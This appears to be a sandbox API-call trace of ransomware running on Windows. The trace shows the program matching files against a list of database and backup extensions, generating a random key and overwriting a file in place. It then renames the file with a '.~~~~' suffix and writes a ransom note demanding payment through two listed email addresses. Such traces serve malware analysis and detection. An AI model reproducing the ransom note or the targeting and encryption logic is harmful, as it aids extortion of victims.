	[0066.439] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".txt") returned 0x0
	[0066.439] lstrlenW (lpString=".mdt") returned 4
	[0066.439] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".mdt") returned 0x0
	[0066.439] lstrlenW (lpString=".BDB") returned 4
	[0066.439] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BDB") returned 0x0
	[0066.439] lstrlenW (lpString=".eql") returned 4
	[0066.439] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".eql") returned 0x0
	[0066.440] lstrlenW (lpString=".DBF") returned 4
	[0066.440] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBF") returned 0x0
	[0066.440] lstrlenW (lpString=".EQL") returned 4
	[0066.440] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".EQL") returned 0x0
	[0066.440] lstrlenW (lpString=".FDB") returned 4
	[0066.440] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".FDB") returned 0x0
	[0066.440] lstrlenW (lpString=".EDB") returned 4
	[0066.440] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".EDB") returned 0x0
	[0066.440] lstrlenW (lpString=".DACPAC") returned 7
	[0066.440] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DACPAC") returned 0x0
	[0066.440] lstrlenW (lpString=".VHD") returned 4
	[0066.440] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".VHD") returned 0x0
	[0066.440] lstrlenW (lpString=".DBV") returned 4
	[0066.440] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBV") returned 0x0
	[0066.440] lstrlenW (lpString=".dacpac") returned 7
	[0066.440] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dacpac") returned 0x0
	[0066.440] lstrlenW (lpString=".sdf") returned 4
	[0066.440] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sdf") returned 0x0
	[0066.440] lstrlenW (lpString=".accdb") returned 6
	[0066.440] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".accdb") returned 0x0
	[0066.440] lstrlenW (lpString=".DBX") returned 4
	[0066.440] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBX") returned 0x0
	[0066.440] lstrlenW (lpString=".MDT") returned 4
	[0066.440] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MDT") returned 0x0
	[0066.441] lstrlenW (lpString=".SQB") returned 4
	[0066.441] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SQB") returned 0x0
	[0066.441] lstrlenW (lpString=".vhd") returned 4
	[0066.441] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".vhd") returned 0x0
	[0066.441] lstrlenW (lpString=".bac") returned 4
	[0066.441] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bac") returned 0x0
	[0066.441] lstrlenW (lpString=".mdf") returned 4
	[0066.441] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".mdf") returned 0x0
	[0066.441] lstrlenW (lpString=".BAK") returned 4
	[0066.441] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BAK") returned 0x0
	[0066.441] lstrlenW (lpString=".BAC") returned 4
	[0066.441] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BAC") returned 0x0
	[0066.441] lstrlenW (lpString=".dbs") returned 4
	[0066.441] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbs") returned 0x0
	[0066.441] lstrlenW (lpString=".vhdx") returned 5
	[0066.441] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".vhdx") returned 0x0
	[0066.441] lstrlenW (lpString=".NDF") returned 4
	[0066.441] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".NDF") returned 0x0
	[0066.441] lstrlenW (lpString=".dat") returned 4
	[0066.441] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dat") returned 0x0
	[0066.441] lstrlenW (lpString=".DBS") returned 4
	[0066.441] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBS") returned 0x0
	[0066.441] lstrlenW (lpString=".CKP") returned 4
	[0066.441] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".CKP") returned 0x0
	[0066.441] lstrlenW (lpString=".edb") returned 4
	[0066.442] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".edb") returned 0x0
	[0066.442] lstrlenW (lpString=".PST") returned 4
	[0066.442] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".PST") returned 0x0
	[0066.442] lstrlenW (lpString=".dbf") returned 4
	[0066.442] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbf") returned 0x0
	[0066.442] lstrlenW (lpString=".SQL") returned 4
	[0066.442] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SQL") returned 0x0
	[0066.442] lstrlenW (lpString=".pst") returned 4
	[0066.442] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".pst") returned 0x0
	[0066.442] lstrlenW (lpString=".dbv") returned 4
	[0066.442] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbv") returned 0x0
	[0066.442] lstrlenW (lpString=".SDF") returned 4
	[0066.442] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SDF") returned 0x0
	[0066.442] lstrlenW (lpString=".dtxs") returned 5
	[0066.442] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dtxs") returned 0x0
	[0066.442] lstrlenW (lpString=".db3") returned 4
	[0066.442] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".db3") returned 0x0
	[0066.442] lstrlenW (lpString=".OST") returned 4
	[0066.442] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".OST") returned 0x0
	[0066.442] lstrlenW (lpString=".dbx") returned 4
	[0066.442] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbx") returned 0x0
	[0066.442] lstrlenW (lpString=".DB3") returned 4
	[0066.442] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DB3") returned 0x0
	[0066.442] lstrlenW (lpString=".DAT") returned 4
	[0066.442] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DAT") returned 0x0
	[0066.443] lstrlenW (lpString=".VHDX") returned 5
	[0066.443] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".VHDX") returned 0x0
	[0066.443] lstrlenW (lpString=".ndf") returned 4
	[0066.443] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ndf") returned 0x0
	[0066.443] lstrlenW (lpString=".DB") returned 3
	[0066.443] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DB") returned 0x0
	[0066.443] lstrlenW (lpString=".sql") returned 4
	[0066.443] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sql") returned 0x0
	[0066.443] lstrlenW (lpString=".MYD") returned 4
	[0066.443] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MYD") returned 0x0
	[0066.443] lstrlenW (lpString=".DBT") returned 4
	[0066.443] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBT") returned 0x0
	[0066.443] lstrlenW (lpString=".ACCDB") returned 6
	[0066.443] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ACCDB") returned 0x0
	[0066.443] lstrlenW (lpString=".fdb") returned 4
	[0066.443] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".fdb") returned 0x0
	[0066.443] lstrlenW (lpString=".bak") returned 4
	[0066.443] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bak") returned 0x0
	[0066.443] lstrlenW (lpString=".myd") returned 4
	[0066.443] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".myd") returned 0x0
	[0066.443] lstrlenW (lpString=".DTXS") returned 5
	[0066.443] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DTXS") returned 0x0
	[0066.443] lstrlenW (lpString=".ckp") returned 4
	[0066.443] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ckp") returned 0x0
	[0066.443] lstrlenW (lpString=".dbt") returned 4
	[0066.444] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbt") returned 0x0
	[0066.444] lstrlenW (lpString=".db") returned 3
	[0066.444] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".db") returned 0x0
	[0066.444] lstrlenW (lpString=".TXT") returned 4
	[0066.444] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".TXT") returned 0x0
	[0066.444] lstrlenW (lpString=".MDF") returned 4
	[0066.444] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MDF") returned 0x0
	[0066.444] lstrlenW (lpString=".bdb") returned 4
	[0066.444] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bdb") returned 0x0
	[0066.444] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0066.444] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0066.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x39d7e8
	[0066.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f18
	[0066.444] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0066.445] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f18 | out: pbBuffer=0x362f18) returned 1
	[0066.445] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0066.445] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f18 | out: hHeap=0x300000) returned 1
	[0066.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0066.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f0050
	[0066.446] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=18643595095) returned 1
	[0066.446] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x94a95770, dwHighDateTime=0x1d60e1e)) 
	[0066.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0066.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0066.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356fc0
	[0066.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8b8
	[0066.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0066.446] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8b8 | out: hHeap=0x300000) returned 1
	[0066.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x39e958
	[0066.446] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0066.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e65e0
	[0066.446] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e958 | out: hHeap=0x300000) returned 1
	[0066.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7be0
	[0066.446] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e65e0 | out: hHeap=0x300000) returned 1
	[0066.446] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0066.447] GetLastError () returned 0x0
	[0066.447] SetLastError (dwErrCode=0x0) 
	[0066.447] GetLastError () returned 0x0
	[0066.447] SetLastError (dwErrCode=0x0) 
	[0066.447] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0066.447] GetLastError () returned 0x0
	[0066.447] SetLastError (dwErrCode=0x0) 
	[0066.447] GetLastError () returned 0x0
	[0066.447] SetLastError (dwErrCode=0x0) 
	[0066.447] GetLastError () returned 0x0
	[0066.447] SetLastError (dwErrCode=0x0) 
	[0066.447] GetLastError () returned 0x0
	[0066.447] SetLastError (dwErrCode=0x0) 
	[0066.448] GetLastError () returned 0x0
	[0066.448] SetLastError (dwErrCode=0x0) 
	[0066.448] GetLastError () returned 0x0
	[0066.448] SetLastError (dwErrCode=0x0) 
	[0066.448] GetLastError () returned 0x0
	[0066.448] SetLastError (dwErrCode=0x0) 
	[0066.448] GetLastError () returned 0x0
	[0066.448] SetLastError (dwErrCode=0x0) 
	[0066.448] GetLastError () returned 0x0
	[0066.448] SetLastError (dwErrCode=0x0) 
	[0066.448] GetLastError () returned 0x0
	[0066.448] SetLastError (dwErrCode=0x0) 
	[0066.448] GetLastError () returned 0x0
	[0066.448] SetLastError (dwErrCode=0x0) 
	[0066.449] GetLastError () returned 0x0
	[0066.449] SetLastError (dwErrCode=0x0) 
	[0066.449] GetLastError () returned 0x0
	[0066.449] SetLastError (dwErrCode=0x0) 
	[0066.449] GetLastError () returned 0x0
	[0066.449] SetLastError (dwErrCode=0x0) 
	[0066.449] GetLastError () returned 0x0
	[0066.449] SetLastError (dwErrCode=0x0) 
	[0066.449] GetLastError () returned 0x0
	[0066.449] SetLastError (dwErrCode=0x0) 
	[0066.449] GetLastError () returned 0x0
	[0066.449] SetLastError (dwErrCode=0x0) 
	[0066.449] GetLastError () returned 0x0
	[0066.449] SetLastError (dwErrCode=0x0) 
	[0066.449] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7be0 | out: hHeap=0x300000) returned 1
	[0066.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x3b04c8
	[0066.450] ReadFile (in: hFile=0x120, lpBuffer=0x3b04c8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b04c8*, lpNumberOfBytesRead=0x24dfec0*=0x106f, lpOverlapped=0x0) returned 1
	[0066.454] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffef91, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0066.454] WriteFile (in: hFile=0x120, lpBuffer=0x3b04c8*, nNumberOfBytesToWrite=0x106f, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b04c8*, lpNumberOfBytesWritten=0x24dfec0*=0x106f, lpOverlapped=0x0) returned 1
	[0066.454] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b04c8 | out: hHeap=0x300000) returned 1
	[0066.454] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0066.454] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0066.455] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0066.455] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0066.455] CloseHandle (hObject=0x120) returned 1
	[0066.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a55d8
	[0066.456] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.~~~~")) returned 1
	[0066.457] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a55d8 | out: hHeap=0x300000) returned 1
	[0066.457] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356fc0 | out: hHeap=0x300000) returned 1
	[0066.457] GetLastError () returned 0x0
	[0066.457] SetLastError (dwErrCode=0x0) 
	[0066.457] GetLastError () returned 0x0
	[0066.457] SetLastError (dwErrCode=0x0) 
	[0066.457] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362400 | out: hHeap=0x300000) returned 1
	[0066.457] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3623e0 | out: hHeap=0x300000) returned 1
	[0066.457] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368bb0 | out: hHeap=0x300000) returned 1
	[0066.457] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0050 | out: hHeap=0x300000) returned 1
	[0066.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d7e8 | out: hHeap=0x300000) returned 1
	[0066.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e69d0 | out: hHeap=0x300000) returned 1
	[0066.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6688 | out: hHeap=0x300000) returned 1
	[0066.459] RtlWakeConditionVariable () returned 0x365f70
	[0066.459] GetCurrentThreadId () returned 0x3a4
	[0066.459] GetCurrentThreadId () returned 0x3a4
	[0066.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6688
	[0066.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6a78 | out: hHeap=0x300000) returned 1
	[0066.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c880 | out: hHeap=0x300000) returned 1
	[0066.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6a78
	[0066.459] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Read~ME.txt" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0066.460] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0066.460] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0066.461] CloseHandle (hObject=0x120) returned 1
	[0066.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6a78 | out: hHeap=0x300000) returned 1
	[0066.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6688 | out: hHeap=0x300000) returned 1
	[0066.461] RtlWakeConditionVariable () returned 0x365f70
	[0066.461] GetCurrentThreadId () returned 0x3a4
	[0066.461] GetCurrentThreadId () returned 0x3a4
	[0066.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7be0
	[0066.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e9d0 | out: hHeap=0x300000) returned 1
	[0066.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0066.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7c78
	[0066.461] lstrlenW (lpString=".scr") returned 4
	[0066.461] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\.", lpSrch=".scr") returned 0x0
	[0066.461] lstrlenW (lpString=".cmd") returned 4
	[0066.461] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\.", lpSrch=".cmd") returned 0x0
	[0066.462] lstrlenW (lpString=".dll") returned 4
	[0066.462] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\.", lpSrch=".dll") returned 0x0
	[0066.462] lstrlenW (lpString=".bat") returned 4
	[0066.462] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\.", lpSrch=".bat") returned 0x0
	[0066.462] lstrlenW (lpString=".cpl") returned 4
	[0066.462] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\.", lpSrch=".cpl") returned 0x0
	[0066.462] lstrlenW (lpString=".sys") returned 4
	[0066.462] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\.", lpSrch=".sys") returned 0x0
	[0066.462] lstrlenW (lpString=".msc") returned 4
	[0066.462] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\.", lpSrch=".msc") returned 0x0
	[0066.462] lstrlenW (lpString=".com") returned 4
	[0066.462] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\.", lpSrch=".com") returned 0x0
	[0066.462] lstrlenW (lpString=".lnk") returned 4
	[0066.462] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\.", lpSrch=".lnk") returned 0x0
	[0066.462] lstrlenW (lpString=".msp") returned 4
	[0066.462] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\.", lpSrch=".msp") returned 0x0
	[0066.462] lstrlenW (lpString=".pif") returned 4
	[0066.462] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\.", lpSrch=".pif") returned 0x0
	[0066.462] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0066.462] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\.", lpSrch="msp\r\n.pif") returned 0x0
